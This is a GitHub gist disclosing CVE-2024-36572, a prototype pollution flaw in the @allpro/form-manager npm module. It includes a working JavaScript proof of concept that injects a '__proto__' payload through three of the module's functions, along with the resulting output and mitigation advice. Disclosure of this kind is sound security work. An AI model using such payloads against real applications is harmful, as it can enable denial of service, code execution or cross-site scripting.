Skip to content

Instantly share code, notes, and snippets.

@mestrtee
Last active June 12, 2024 14:19
Show Gist options
  • Select an option

  • Save mestrtee/1771ab4fba733ca898b6e2463dc6ed19 to your computer and use it in GitHub Desktop.

Select an option

Save mestrtee/1771ab4fba733ca898b6e2463dc6ed19 to your computer and use it in GitHub Desktop.
[CVE-2024-36572] Prototype pollution vulnerability affecting @allpro/form-manager NPM module, version 0.7.4

Overview

The module is vulenrable via setDefaults (form-manager/cjs/index.js:1299), mergeBranch (form-manager/cjs/index.js:1249), and Object.setObjectValue (form-manager/cjs/index.js:1536). In all these implementations, the assignment of the property from source to destination occurred without proper protection. An attacker can be exploit this method to copy malicious property to the built-in Object.prototype through the special properties __proto__ or constructor.prototype. Thus, the attacker can use one of these properties to pollute the application logic that can be escalated to Denial of service, remote code execution or cross-site scripting attacks.

PoC:

(async () => {
  const lib = await import('@allpro/form-manager');
var BAD_JSON = JSON.parse('{"__proto__":{"polluted":true}}');
var victim = {}
console.log("Before Attack: ", JSON.stringify(victim.__proto__));
try {
// uncomment one at a time
  lib.default.defaultsDeep ({}, BAD_JSON)
  //lib.default.merge ({}, BAD_JSON)
  //lib.default.setObjectValue ({}, "__proto__.polluted", true)
} catch (e) { }
console.log("After Attack: ", JSON.stringify(victim.__proto__));
delete Object.prototype.polluted;
})();

Output:

Before Attack:  {}
After Attack:  {"polluted":true}

Output of a successful fix:

Before Attack:  {}
After Attack:  {}

How to prevent:

No updates were provided by the maintainer. Users of this module are urged to implement proper santization and validation over user's supplied inputs, such as blocking inputs containing __proto__ and contructor.prototype

References:

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment